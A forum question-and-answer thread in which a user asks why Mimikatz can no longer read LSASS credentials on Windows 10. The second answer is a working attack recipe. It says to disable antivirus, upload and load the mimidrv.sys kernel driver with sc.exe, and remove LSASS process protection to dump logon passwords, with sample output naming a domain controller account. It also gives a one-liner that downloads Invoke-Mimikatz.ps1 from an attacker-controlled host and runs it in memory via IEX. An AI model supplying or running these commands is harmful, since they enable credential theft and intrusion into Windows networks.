2

I used to run Mimikatz in one of my computers. Then, I did something to block its action and I do not recall what it was. I am trying to revert it unsuccessfully.

  .#####.   mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( [email protected] )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( [email protected] )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # token::elevate
Token Id  : 0
User name :
SID name  : NT AUTHORITY\SYSTEM

792     {0;000003e7} 1 D 63431          NT AUTHORITY\SYSTEM     S-1-5-18        (04g,21p)       Primary
 -> Impersonated !
 * Process Token : {0;00025b34} 1 F 4156027     COMP\U244        S-1-5-21-542114799-846785721-1465343628-1001    (14g,24p)       Primary
 * Thread Token  : {0;000003e7} 1 D 4625769     NT AUTHORITY\SYSTEM     S-1-5-18        (04g,21p)       Impersonation (Delegation)

mimikatz # sekurlsa::logonpasswords
ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005)

I know about RunAsPPL, but I have removed it:

reg query “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA” /v RunAsPPL
ERROR: Invalid key name.

Maybe a HotFIX changed something, I am running:

OS Version:                10.0.19043 N/A Build 19043

What else could be breaking the necessary access?

Improve this question

2 Answers 2

Reset to default
0

I've tried both Mimikatz latest and 2.1.1, both doesnt seem to work. Apparently, you need a cmd as NT AUTHORITY\SYSTEM via running cmd as Administrator then ".\PsExec64.exe -i -s cmd.exe", in the new spawned cmd, make sure a "whoami" returns NT AUTHORITY\SYSTEM.

Improve this answer
8
  • NT AUTHORITY\SYSTEM and administrator are different things. And I already elevated, as you can see in my post
    – user1156544
    May 14, 2022 at 16:27
  • Hey, I meant, ensure that the cmd that runs Mimikatz is NT AUTHORITY\SYSTEM by running whoami before running mimikatz.
    – NoPurposeInLife
    May 15, 2022 at 20:34
  • And what would it be difference from running as Administrator and elevate the token?
    – user1156544
    May 16, 2022 at 11:23
  • No idea, but can you give it a try, with NT AUTHORITY\SYSTEM - cmd instead of an Administrator cmd?
    – NoPurposeInLife
    May 16, 2022 at 17:05
  • It worked in my case against a Windows Server 2016, when my cmd's whoami returns NT AUTHORITY\SYSTEM.
    – NoPurposeInLife
    May 17, 2022 at 7:45
0

Turn off AV if you can and upload the mimidrv.sys. You can locate it on kali.

Then manually load the driver with the sc.exe Service Control application.

sc create mimidrv binPath= C:\inetpub\wwwroot\upload\mimidrv.sys type= kernel start= demand

sc start mimidrv

Now use mimikatz to bypass it if you have RDP connect.

mimikatz # !+
[*] 'mimidrv' service not present
[+] 'mimidrv' service successfully registered
[+] 'mimidrv' service ACL to everyone
[+] 'mimidrv' service started
 
mimikatz # !processprotect /process:lsass.exe /remove
Process : lsass.exe
PID 552 -> 00/00 [0-0-0]
 
mimikatz # privilege::debug
Privilege '20' OK
 
mimikatz # sekurlsa::logonpasswords
 
Authentication Id : 0 ; 41238 (00000000:0000a116)
Session           : Interactive from 1
User Name         : DWM-1
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 30/03/2022 09:15:07
SID               : S-1-5-90-0-1
        msv :
         [00000003] Primary
         * Username : DC$
         * Domain   : BORDERGATE
         * NTLM     :  .... *SNIP*

If you don't have RDP, try oneline method:

(New-Object System.Net.WebClient).DownloadString('http://attacker_ip/Invoke-Mimikatz.ps1') | IEX
Invoke-Mimikatz -Command "!+"
Invoke-Mimikatz -Command "`"!processprotect /process:lsass.exe /remove`""
Invoke-Mimikatz -Command "sekurlsa::logonpasswords"
Improve this answer

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .